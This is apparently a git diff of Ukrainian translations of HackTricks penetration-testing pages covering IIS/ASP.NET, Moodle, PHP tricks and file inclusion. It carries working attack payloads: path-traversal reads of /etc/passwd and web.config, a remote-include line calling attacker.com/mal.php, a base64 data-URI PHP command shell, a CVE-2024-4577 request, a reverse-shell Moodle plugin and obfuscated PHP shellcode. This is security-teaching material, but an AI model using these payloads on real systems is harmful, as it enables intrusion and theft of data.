У **.Net MVC додатках** файл **web.config** відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма, через XML теги **"assemblyIdentity"**.
|
||||
|
||||
### **Дослідження бінарних файлів**
|
||||
|
||||
@ -86,7 +88,7 @@ Host: example-mvc-application.minded
|
||||
|
||||
### **Простори імен та Web.Config**
|
||||
|
||||
Додатки MVC також визначають додаткові **web.config файли** для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як показано на прикладі запиту на завантаження іншого **web.config**:
|
||||
Додатки MVC також визначають додаткові **web.config файли** для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як це демонструється запитом на завантаження іншого **web.config**:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
@ -100,7 +102,7 @@ Host: example-mvc-application.minded
|
||||
```
|
||||
Це вказує на наявність інших важливих DLL, таких як **System.Web.Mvc.dll** та **System.Web.Optimization.dll**, у каталозі /bin.
|
||||
|
||||
У сценарії, де DLL імпортує простір імен під назвою **WebApplication1.Areas.Minded**, зловмисник може зробити висновок про існування інших файлів web.config у передбачуваних шляхах, таких як **/area-name/Views/**, що містять специфічні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до **/Minded/Views/web.config** може виявити конфігурації та простори імен, які вказують на наявність іншої DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||||
У сценарії, коли DLL імпортує простір імен під назвою **WebApplication1.Areas.Minded**, зловмисник може зробити висновок про існування інших файлів web.config у передбачуваних шляхах, таких як **/area-name/Views/**, що містять специфічні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до **/Minded/Views/web.config** може виявити конфігурації та простори імен, які вказують на наявність іншої DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||||
|
||||
### Загальні файли
|
||||
|
||||
@ -185,10 +187,10 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
Якщо ви бачите помилку, подібну до наступної:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Це означає, що сервер **не отримав правильне ім'я домену** в заголовку Host.\
|
||||
Щоб отримати доступ до веб-сторінки, ви можете подивитися на наданий **SSL сертифікат**, і, можливо, ви знайдете ім'я домену/піддомену там. Якщо його там немає, вам, можливо, потрібно буде **брутфорсити VHosts**, поки ви не знайдете правильний.
|
||||
Щоб отримати доступ до веб-сторінки, ви можете подивитися на виданий **SSL сертифікат**, і, можливо, ви зможете знайти ім'я домену/субдомену там. Якщо його там немає, вам, можливо, потрібно буде **брутфорсити VHosts**, поки ви не знайдете правильний.
|
||||
|
||||
## Старі вразливості IIS, на які варто звернути увагу
|
||||
|
||||
@ -197,7 +199,7 @@ C:\xampp\tomcat\conf\server.xml
|
||||
Ви можете спробувати **перерахувати папки та файли** всередині кожної виявленої папки (навіть якщо це вимагає базової аутентифікації), використовуючи цю **техніку**.\
|
||||
Основне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що **вона може знайти лише перші 6 літер імені кожного файлу/папки та перші 3 літери розширення** файлів.
|
||||
|
||||
Ви можете використовувати [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) для перевірки цієї вразливості:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
Ви можете використовувати [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) для перевірки на цю вразливість:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -217,7 +219,29 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
ASP.NET включає режим налагодження, і його файл називається `trace.axd`.
|
||||
|
||||
Він зберігає дуже дет
|
||||
Він зберігає дуже детальний журнал усіх запитів, зроблених до програми протягом певного часу.
|
||||
|
||||
Ця інформація включає IP-адреси віддалених клієнтів, ідентифікатори сесій, усі куки запитів і відповідей, фізичні шляхи, інформацію про вихідний код і потенційно навіть імена користувачів і паролі.
|
||||
|
||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||
|
||||

|
||||
|
||||
## Кука ASPXAUTH
|
||||
|
||||
ASPXAUTH використовує таку інформацію:
|
||||
|
||||
- **`validationKey`** (рядок): ключ у шістнадцятковому кодуванні для використання для перевірки підпису.
|
||||
- **`decryptionMethod`** (рядок): (за замовчуванням “AES”).
|
||||
- **`decryptionIV`** (рядок): шістнадцятковий ініціалізаційний вектор (за замовчуванням вектор нулів).
|
||||
- **`decryptionKey`** (рядок): шістнадцятковий ключ для використання для розшифрування.
|
||||
|
||||
Однак деякі люди використовують **значення за замовчуванням** цих параметрів і використовують як **куку електронну пошту користувача**. Тому, якщо ви зможете знайти веб-сайт, що використовує **ту ж платформу**, яка використовує куку ASPXAUTH, і ви **створите користувача з електронною поштою користувача, якого ви хочете видати** на сервері під атакою, ви зможете **використати куку з другого сервера на першому** та видати себе за користувача.\
|
||||
Цей напад спрацював у цьому [**описі**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## Обхід аутентифікації IIS з кешованими паролями (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Повний звіт тут](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Помилка в коді **не перевіряла належним чином пароль, наданий користувачем**, тому зловмисник, чий **хеш пароля потрапляє в ключ**, який вже є в **кеші**, зможе увійти як цей користувач.
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Автоматичні сканування
|
||||
|
||||
### droopescan
|
||||
@ -75,7 +74,9 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
|
||||
Потім ви можете **встановити наступний плагін**, який містить класичний pentest-monkey php r**ev shell** (_перед завантаженням вам потрібно розпакувати його, змінити IP та порт revshell і знову стиснути_)
|
||||
|
||||
{% file src="../../images/moodle-rce-plugin.zip" %}
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
Або ви можете використовувати плагін з [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), щоб отримати звичайний PHP shell з параметром "cmd".
|
||||
|
||||
|
@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Загальне місцезнаходження куків:
|
||||
## Cookies common location:
|
||||
|
||||
Це також стосується куків phpMyAdmin.
|
||||
|
||||
@ -21,7 +20,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Обхід порівнянь PHP
|
||||
|
||||
### Слабкі порівняння/Перетворення типів ( == )
|
||||
### Слабкі порівняння/Типове перетворення ( == )
|
||||
|
||||
Якщо в PHP використовується `==`, то є несподівані випадки, коли порівняння не веде себе так, як очікується. Це пов'язано з тим, що "==" порівнює лише значення, перетворені в один і той же тип, якщо ви також хочете порівняти, що тип порівнюваних даних однаковий, вам потрібно використовувати `===`.
|
||||
|
||||
@ -29,12 +28,14 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` Рядок, який не починається з числа, дорівнює числу
|
||||
- `"0xAAAA" == "43690" -> True` Рядки, що складаються з чисел у десятковому або шістнадцятковому форматі, можуть порівнюватися з іншими числами/рядками з результатом True, якщо числа були однаковими (числа в рядку інтерпретуються як числа)
|
||||
- `"0e3264578" == 0 --> True` Рядок, що починається з "0e" і за яким слідує будь-що, буде дорівнювати 0
|
||||
- `"0X3264578" == 0X --> True` Рядок, що починається з "0" і за яким слідує будь-яка літера (X може бути будь-якою літерою) і за яким слідує будь-що, буде дорівнювати 0
|
||||
- `"0e3264578" == 0 --> True` Рядок, що починається з "0e" і далі будь-яким вмістом, буде дорівнювати 0
|
||||
- `"0X3264578" == 0X --> True` Рядок, що починається з "0" і далі будь-якою літерою (X може бути будь-якою літерою) і далі будь-яким вмістом, буде дорівнювати 0
|
||||
- `"0e12334" == "0" --> True` Це дуже цікаво, оскільки в деяких випадках ви можете контролювати вхідний рядок "0" і деякий вміст, який хешується і порівнюється з ним. Тому, якщо ви можете надати значення, яке створить хеш, що починається з "0e" і без будь-якої літери, ви могли б обійти порівняння. Ви можете знайти **вже захешовані рядки** з цим форматом тут: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Будь-яка літера в рядку дорівнює int 0
|
||||
|
||||
@ -42,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
|
||||
### **in_array()**
|
||||
|
||||
**Перетворення типів** також впливає на функцію `in_array()` за замовчуванням (вам потрібно встановити третій аргумент в true, щоб зробити строгий порівняння):
|
||||
**Типове перетворення** також впливає на функцію `in_array()` за замовчуванням (вам потрібно встановити третій аргумент в true, щоб зробити строгий порівняння):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
@ -73,7 +74,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
#### Обхід нового рядка
|
||||
|
||||
Однак, при обмеженні початку регулярного виразу `preg_match()` **перевіряє лише перший рядок введення користувача**, тому, якщо якимось чином ви зможете **надіслати** введення в **кількох рядках**, ви зможете обійти цю перевірку. Приклад:
|
||||
Однак, при обмеженні початку регулярного виразу `preg_match()` **перевіряє лише перший рядок введення користувача**, тому, якщо ви зможете **надіслати** введення в **кількох рядках**, ви зможете обійти цю перевірку. Приклад:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -86,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Щоб обійти цю перевірку, ви можете **надіслати значення з новими рядками, закодованими в URL** (`%0A`), або якщо ви можете надіслати **дані JSON**, надішліть їх у **кількох рядках**:
|
||||
Щоб обійти цю перевірку, ви можете **надіслати значення з новими рядками, закодованими в URL** (`%0A`), або якщо ви можете надіслати **JSON-дані**, надішліть їх у **кількох рядках**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -119,7 +120,7 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### Типове перетворення для обфускації PHP
|
||||
### Перетворення типів для обфускації PHP
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
@ -152,7 +153,7 @@ Check:
|
||||
|
||||
## More tricks
|
||||
|
||||
- **register_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до нього через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні\*\*, які використовуються в коді.
|
||||
- **register_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до них через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні\*\*, які використовуються в коді.
|
||||
- **PHPSESSION cookies одного домену зберігаються в одному місці**, тому якщо в межах домену **використовуються різні cookies в різних шляхах**, ви можете зробити так, щоб шлях **отримував доступ до cookie іншого шляху**, встановивши значення cookie іншого шляху.\
|
||||
Таким чином, якщо **обидва шляхи отримують доступ до змінної з однаковим ім'ям**, ви можете зробити так, щоб **значення цієї змінної в path1 застосовувалося до path2**. І тоді path2 вважатиме змінні path1 дійсними (надаючи cookie ім'я, яке відповідає йому в path2).
|
||||
- Коли у вас є **імена користувачів** користувачів машини. Перевірте адресу: **/\~\<USERNAME>**, щоб дізнатися, чи активовані php каталоги.
|
||||
@ -173,7 +174,7 @@ True
|
||||
|
||||
#### Виклик помилки після встановлення заголовків
|
||||
|
||||
З [**цього треду в твіттері**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) ви можете побачити, що надсилання більше ніж 1000 GET параметрів або 1000 POST параметрів або 20 файлів, PHOP не буде встановлювати заголовки у відповіді.
|
||||
З [**цього треду в твіттері**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) ви можете побачити, що надсилання більше 1000 GET параметрів або 1000 POST параметрів або 20 файлів, PHOP не буде встановлювати заголовки у відповіді.
|
||||
|
||||
Це дозволяє обійти, наприклад, заголовки CSP, які встановлюються в кодах, таких як:
|
||||
```php
|
||||
@ -289,11 +290,11 @@ usort();}phpinfo;#, "cmp");
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Веб-сервер обробляє HTTP запити і передає їх PHP скрипту, виконуючи запит, наприклад, [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) як `php.exe cgi.php foo=bar`, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:
|
||||
Веб-сервер обробляє HTTP запити та передає їх PHP скрипту, виконуючи запит, наприклад, [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) як `php.exe cgi.php foo=bar`, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
Крім того, можливо ввести параметр "-" за допомогою символу 0xAD через подальшу нормалізацію PHP. Перевірте приклад експлуатації з [**цього посту**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
Більше того, можливо інжектувати параметр "-" за допомогою символу 0xAD через подальшу нормалізацію PHP. Перевірте приклад експлуатації з [**цього посту**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -325,17 +326,17 @@ $_COOKIE | if #This mea
|
||||
```
|
||||
Якщо ви налагоджуєте PHP-додаток, ви можете глобально увімкнути виведення помилок у `/etc/php5/apache2/php.ini`, додавши `display_errors = On`, і перезапустити apache: `sudo systemctl restart apache2`
|
||||
|
||||
### Деобфускація PHP-коду
|
||||
### Деобфускація PHP коду
|
||||
|
||||
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php-коду.**
|
||||
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php коду.**
|
||||
|
||||
## PHP Обгортки та протоколи
|
||||
## PHP обгортки та протоколи
|
||||
|
||||
PHP обгортки та протоколи можуть дозволити вам **обійти захисти на запис і читання** в системі та скомпрометувати її. Для [**додаткової інформації перегляньте цю сторінку**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
PHP обгортки та протоколи можуть дозволити вам **обійти захист на запис і читання** в системі та скомпрометувати її. Для [**додаткової інформації перегляньте цю сторінку**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug неавтентифікований RCE
|
||||
|
||||
Якщо ви бачите, що **Xdebug** **увімкнено** в `phpconfig()` виводі, вам слід спробувати отримати RCE через [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
Якщо ви бачите, що **Xdebug** увімкнено в `phpconfig()` виводі, вам слід спробувати отримати RCE через [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
## Змінні змінних
|
||||
```php
|
||||
@ -374,7 +375,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR легкий shell код
|
||||
|
||||
Згідно з [**цією статтею** ](https://mgp25.com/ctf/Web-challenge/)можливо згенерувати легкий shellcode таким чином:
|
||||
Згідно з [**цією статтею**](https://mgp25.com/ctf/Web-challenge/) можливо згенерувати легкий shellcode таким чином:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
|
||||
## Основний LFI та обходи
|
||||
|
||||
Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Усі приклади стосуються Local File Inclusion, але можуть бути застосовані також до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -82,11 +82,11 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Дослідження каталогів файлової системи на сервері
|
||||
### Дослідження директорій файлової системи на сервері
|
||||
|
||||
Файлова система сервера може бути досліджена рекурсивно для виявлення каталогів, а не лише файлів, шляхом використання певних технік. Цей процес включає визначення глибини каталогу та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
|
||||
Файлова система сервера може бути досліджена рекурсивно для виявлення директорій, а не лише файлів, шляхом використання певних технік. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
|
||||
|
||||
1. **Визначте глибину каталогу:** Визначте глибину вашого поточного каталогу, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три:
|
||||
1. **Визначте глибину директорії:** Визначте глибину вашої поточної директорії, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
@ -97,9 +97,9 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
|
||||
- **Помилка / Немає виходу:** Папка `private`, ймовірно, не існує за вказаним місцем.
|
||||
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджена.
|
||||
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
|
||||
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевірити на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
|
||||
|
||||
Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
|
||||
Для дослідження каталогів у різних місцях файлової системи відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
@ -131,7 +131,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
|
||||
При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
|
||||
|
||||
**Цю вразливість виправлено в PHP 5.3.**
|
||||
**Цю вразливість було виправлено в PHP 5.3.**
|
||||
|
||||
### **Трюки обходу фільтрів**
|
||||
```
|
||||
@ -143,17 +143,17 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
В php це вимкнено за замовчуванням, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено** для того, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
|
||||
У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено** для того, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете використовувати, наприклад, протокол даних з base64 для декодування коду PHP у форматі b64 та отримання RCE:
|
||||
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете використовувати, наприклад, протокол даних з base64 для декодування коду PHP у b64 та отримання RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> У попередньому коді фінальний `+.txt` був доданий, оскільки атакуючому потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, а після декодування b64 ця частина поверне просто сміття, і справжній PHP код буде включено (і, отже, виконано).
|
||||
> У попередньому коді фінальний `+.txt` був доданий, оскільки атакуючий потребував рядка, який закінчувався на `.txt`, тому рядок закінчується на ньому, і після декодування b64 ця частина поверне просто сміття, а реальний PHP код буде включено (і, отже, виконано).
|
||||
|
||||
Інший приклад **без використання протоколу `php://`** буде:
|
||||
```
|
||||
@ -281,13 +281,13 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
- Це буде використано для генерації **тексту настільки великого, коли початкова літера вгадана правильно**, що php викличе **помилку**.
|
||||
- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тому ми можемо дізнатися, чи є перший символ шістнадцятковим.
|
||||
- Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php.
|
||||
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (так що після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалить її, і помилка php буде викликана, оскільки вона множиться з початковою бомбою.
|
||||
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалить її, і помилка php буде викликана, оскільки вона множиться з початковою бомбою.
|
||||
- Використовуючи інші перетворення, такі як **rot13** на початку, можливо витікати інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон).
|
||||
- Коли початковий символ є числом, потрібно закодувати його в base64 і витікати перші 2 літери, щоб витікати число.
|
||||
- Коли початковий символ є числом, потрібно закодувати його в base64 і витікати 2 перші літери, щоб витікати число.
|
||||
- Остаточна проблема полягає в тому, **як витікати більше, ніж початкова літера**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
|
||||
- І для того, щоб отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **поворотним з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.
|
||||
|
||||
У пості також був витікнутий інструмент для автоматичного виконання цього: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
У пості також було витікнуто інструмент для автоматичного виконання цього: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -378,7 +378,7 @@ phar-deserialization.md
|
||||
|
||||
Перевірте більше можливих [**протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або у тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис в пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL
|
||||
@ -395,7 +395,7 @@ phar-deserialization.md
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Хоча це має на меті зупинити обходи, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати:
|
||||
Хоча це має на меті зупинити перетворення, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -408,13 +408,13 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка **доступає до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається.
|
||||
> Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка **доступається до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається.
|
||||
|
||||
У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**.
|
||||
|
||||
У підсумку, техніка використовує **"UCS-4LE" кодування**, щоб зробити вміст файлу таким **великим**, що **PHP функція**, що відкриває файл, викличе **помилку**.
|
||||
|
||||
Потім, щоб витягти перший символ, фільтр **`dechunk`** використовується разом з іншими, такими як **base64** або **rot13**, а в кінці використовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** для **розміщення інших символів на початку та їх витоку**.
|
||||
Потім, щоб витягти перший символ, фільтр **`dechunk`** використовується разом з іншими, такими як **base64** або **rot13**, а в кінці фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** використовуються для **розміщення інших символів на початку та їх витоку**.
|
||||
|
||||
**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (тільки для читання з цим)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -428,14 +428,14 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
